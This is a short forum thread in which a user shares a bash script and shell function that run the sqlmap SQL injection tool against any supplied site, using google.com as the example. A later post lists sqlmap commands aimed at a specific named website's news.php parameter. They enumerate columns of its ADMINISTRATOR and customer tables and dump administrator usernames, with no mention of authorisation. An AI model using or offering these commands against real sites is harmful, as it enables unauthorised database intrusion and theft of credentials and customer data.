SQLMap Bash RC Function & Run Command For Linux

Go down

SQLMap Bash RC Function & Run Command For Linux

Post by jamied_uk on 12th April 2018, 13:32



Install

Code:
sudo apt install -y sqlmap




Code:
#!/bin/bash
# Example: ./run.sh target.com
#
# Site: github.com/sqlmapproject/sqlmap
#
var="$1"
if [ ! -d "sqlmap" ]; then
  git clone https://github.com/sqlmapproject/sqlmap.git
fi
#
cd sqlmap
python sqlmap.py -u $var




Bash RC Function


Code:
function mapscan(){
cd /home/jay/Documents/Scripts/SQLMap/
bash run.sh $1
}

Example:

Code:
mapscan google.com
avatar
jamied_uk
Admin

Posts : 2347
Join date : 2010-05-09
Age : 35
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: SQLMap Bash RC Function & Run Command For Linux

Post by jamied_uk on 12th April 2018, 14:01

More commands:

Code:
sqlmap --wizard --time-sec 10 -u $1 --dbs --tamper

So inside run.sh would be the line

Code:
python sqlmap.py  --wizard --time-sec 10 -u $var --dbs # --tamper
avatar
jamied_uk
Admin

Posts : 2347
Join date : 2010-05-09
Age : 35
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: SQLMap Bash RC Function & Run Command For Linux

Post by jamied_uk on 12th April 2018, 14:23

Other commands to play with

 
 
Code:

sqlmap -u www.gba-corona.com/news.php?id=6 --D cif1 -T ADMINISTRATOR --columns 

 
sqlmap -u www.gba-corona.com/news.php?id=6 --D cif1 -T cif_customer --columns

 
sqlmap -u www.gba-corona.com/news.php?id=6 -D cif1 -T ADMINISTRATOR -C username --dump

Integrate this into the function if you want to!
avatar
jamied_uk
Admin

Posts : 2347
Join date : 2010-05-09
Age : 35
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: SQLMap Bash RC Function & Run Command For Linux

Post by Sponsored content


Sponsored content


Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum